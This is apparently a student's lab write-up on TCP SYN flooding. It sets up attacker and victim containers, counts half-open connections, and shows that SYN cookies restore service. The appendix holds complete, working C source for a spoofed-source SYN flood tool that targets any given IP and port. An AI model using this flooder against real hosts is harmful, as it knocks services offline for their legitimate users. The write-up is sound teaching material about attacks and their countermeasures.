SYN Flooding Attack
A DOS attack performed using invalid SYN packets to spoof false incoming TCP connections.
Preamble:
This lab focuses on a SYN Flooding attack.
A SYN flooding attack occurs when an attacker sends a large volume of SYN packets to the victim machine with random source IP addresses. Since a SYN packet is the first step in establishing a TCP connection, this leads to the victim machine sending off SYN + ACK packets to the random source IP addresses. The machines at the random source IP aren’t trying to establish a TCP connection with the victim machine, so the victim doesn’t get a reply often, forcing them to wait until the connection times out. This waiting, along with the high volume of SYN packets sent by the attacker, leads to the victim machines TCP connection queue filling up, preventing any legitimate connections from being established.
The countermeasure used in the lab is the SYN Cookie countermeasure.
Essentially, instead of each incoming TCP connection holding a spot in the TCP connection queue, the victim machine will pass along a cookie with their SYN + ACK response, and then remove the connection from the queue. If the victim machine gets a ACK response that contains a cookie, the victim will use the connection information to recalculate the cookie. If the recalculated cookie matches the cookie sent in the ACK response the connection will be established.
This countermeasure prevents dummy SYN packets used in the SYN flooding attack from taking up space in the TCP connection queue. Allowing space for legitimate connections to establish connection with the victim machine.
Task 1.2:
Firstly, we need to set up the docker containers for our attacker and our victims.
Once we put the labsetup.zip on the VM, we can use the dcbuild and dcup commands to build and start the containers.

As we can see, we have two user containers, a victim container, and an attacker container.
Then we compile the attack program on our virtual machine.

We put the compiled program into the volumes folder in the labsetup directory.
This allows the attacker container to access it, since it is configured to mount the volumes folder.
After that, we run it on the attacker container, aiming for the victim container.

After some time, we use netstat on the victim container to check the TCP connections that have the SYN_RECV state.
These are the connections where the victim machine is waiting to time out on.

We can see that there are 97 half-active connections with the SYN_RECV state.
As a side note, one fourth of the TCP queue is reserved for previous connections, so of the total queue of 128, only 96 is for new connections.
Using ip tcp_metrics flush in the victim machine will remove all records of previous connections
Then, on our virtual machine, when we try to establish a TCP connection with the victim container via telnet, we are unable to.

This is due to the fact that the connection queue for the victim machine is full, therefore it is unable to establish any more TCP connections until some of them time out.
Task 1.3:
Now we re-enable the countermeasures for the victim container.

Then we run the attack again, and look at the half-active connections with the SYN_RECV state.

We can see that there are 128 half-active connections.
Interestingly, this is more than there was without the SYN Cookie countermeasures.
I assume this is because when using the countermeasures, theres no need to reserve a fourth of the TCP connection queue for previous connections, since all incoming connections will leave the queue immediately anyways.
When we try to connect to the victim container via telnet, we can see that we are able to connect even though the attack is ongoing.

appendix
// This code was given along with the other lab resources#include <unistd.h>#include <stdio.h>#include <stdlib.h>#include <errno.h>#include <time.h>#include <string.h>#include <sys/socket.h>#include <netinet/ip.h>#include <arpa/inet.h>
/* IP Header */struct ipheader { unsigned char iph_ihl:4, //IP header length iph_ver:4; //IP version unsigned char iph_tos; //Type of service unsigned short int iph_len; //IP Packet length (data + header) unsigned short int iph_ident; //Identification unsigned short int iph_flag:3, //Fragmentation flags iph_offset:13; //Flags offset unsigned char iph_ttl; //Time to Live unsigned char iph_protocol; //Protocol type unsigned short int iph_chksum; //IP datagram checksum struct in_addr iph_sourceip; //Source IP address struct in_addr iph_destip; //Destination IP address};
/* TCP Header */struct tcpheader { u_short tcp_sport; /* source port */ u_short tcp_dport; /* destination port */ u_int tcp_seq; /* sequence number */ u_int tcp_ack; /* acknowledgement number */ u_char tcp_offx2; /* data offset, rsvd */#define TH_OFF(th) (((th)->tcp_offx2 & 0xf0) >> 4) u_char tcp_flags;#define TH_FIN 0x01#define TH_SYN 0x02#define TH_RST 0x04#define TH_PUSH 0x08#define TH_ACK 0x10#define TH_URG 0x20#define TH_ECE 0x40#define TH_CWR 0x80#define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR) u_short tcp_win; /* window */ u_short tcp_sum; /* checksum */ u_short tcp_urp; /* urgent pointer */};
/* Psuedo TCP header */struct pseudo_tcp{ unsigned saddr, daddr; unsigned char mbz; unsigned char ptcl; unsigned short tcpl; struct tcpheader tcp; char payload[1500];};
//#define DEST_IP "10.9.0.5"//#define DEST_PORT 23 // Attack the web server#define PACKET_LEN 1500
unsigned short calculate_tcp_checksum(struct ipheader *ip);
/************************************************************* Given an IP packet, send it out using a raw socket.**************************************************************/void send_raw_ip_packet(struct ipheader* ip){ struct sockaddr_in dest_info; int enable = 1;
// Step 1: Create a raw network socket. int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sock < 0) { fprintf(stderr, "socket() failed: %s\n", strerror(errno)); exit(1); }
// Step 2: Set socket option. setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &enable, sizeof(enable));
// Step 3: Provide needed information about destination. dest_info.sin_family = AF_INET; dest_info.sin_addr = ip->iph_destip;
// Step 4: Send the packet out. sendto(sock, ip, ntohs(ip->iph_len), 0, (struct sockaddr *)&dest_info, sizeof(dest_info)); close(sock);}
/****************************************************************** Spoof a TCP SYN packet.*******************************************************************/int main(int argc, char *argv[]) { char buffer[PACKET_LEN]; struct ipheader *ip = (struct ipheader *) buffer; struct tcpheader *tcp = (struct tcpheader *) (buffer + sizeof(struct ipheader));
if (argc < 3) { printf("Please provide IP and Port number\n"); printf("Usage: synflood ip port\n"); exit(1); }
char *DEST_IP = argv[1]; int DEST_PORT = atoi(argv[2]);
srand(time(0)); // Initialize the seed for random # generation. while (1) { memset(buffer, 0, PACKET_LEN); /********************************************************* Step 1: Fill in the TCP header. ********************************************************/ tcp->tcp_sport = rand(); // Use random source port tcp->tcp_dport = htons(DEST_PORT); tcp->tcp_seq = rand(); // Use random sequence # tcp->tcp_offx2 = 0x50; tcp->tcp_flags = TH_SYN; // Enable the SYN bit tcp->tcp_win = htons(20000); tcp->tcp_sum = 0;
/********************************************************* Step 2: Fill in the IP header. ********************************************************/ ip->iph_ver = 4; // Version (IPV4) ip->iph_ihl = 5; // Header length ip->iph_ttl = 50; // Time to live ip->iph_sourceip.s_addr = rand(); // Use a random IP address ip->iph_destip.s_addr = inet_addr(DEST_IP); ip->iph_protocol = IPPROTO_TCP; // The value is 6. ip->iph_len = htons(sizeof(struct ipheader) + sizeof(struct tcpheader));
// Calculate tcp checksum tcp->tcp_sum = calculate_tcp_checksum(ip);
/********************************************************* Step 3: Finally, send the spoofed packet ********************************************************/ send_raw_ip_packet(ip); }
return 0;}
unsigned short in_cksum (unsigned short *buf, int length){ unsigned short *w = buf; int nleft = length; int sum = 0; unsigned short temp=0;
/* * The algorithm uses a 32 bit accumulator (sum), adds * sequential 16 bit words to it, and at the end, folds back all * the carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; }
/* treat the odd byte at the end, if any */ if (nleft == 1) { *(u_char *)(&temp) = *(u_char *)w ; sum += temp; }
/* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); // add hi 16 to low 16 sum += (sum >> 16); // add carry return (unsigned short)(~sum);}
/**************************************************************** TCP checksum is calculated on the pseudo header, which includes the TCP header and data, plus some part of the IP header. Therefore, we need to construct the pseudo header first.*****************************************************************/
unsigned short calculate_tcp_checksum(struct ipheader *ip){ struct tcpheader *tcp = (struct tcpheader *)((u_char *)ip + sizeof(struct ipheader));
int tcp_len = ntohs(ip->iph_len) - sizeof(struct ipheader);
/* pseudo tcp header for the checksum computation */ struct pseudo_tcp p_tcp; memset(&p_tcp, 0x0, sizeof(struct pseudo_tcp));
p_tcp.saddr = ip->iph_sourceip.s_addr; p_tcp.daddr = ip->iph_destip.s_addr; p_tcp.mbz = 0; p_tcp.ptcl = IPPROTO_TCP; p_tcp.tcpl = htons(tcp_len); memcpy(&p_tcp.tcp, tcp, tcp_len);
return (unsigned short) in_cksum((unsigned short *)&p_tcp, tcp_len + 12);}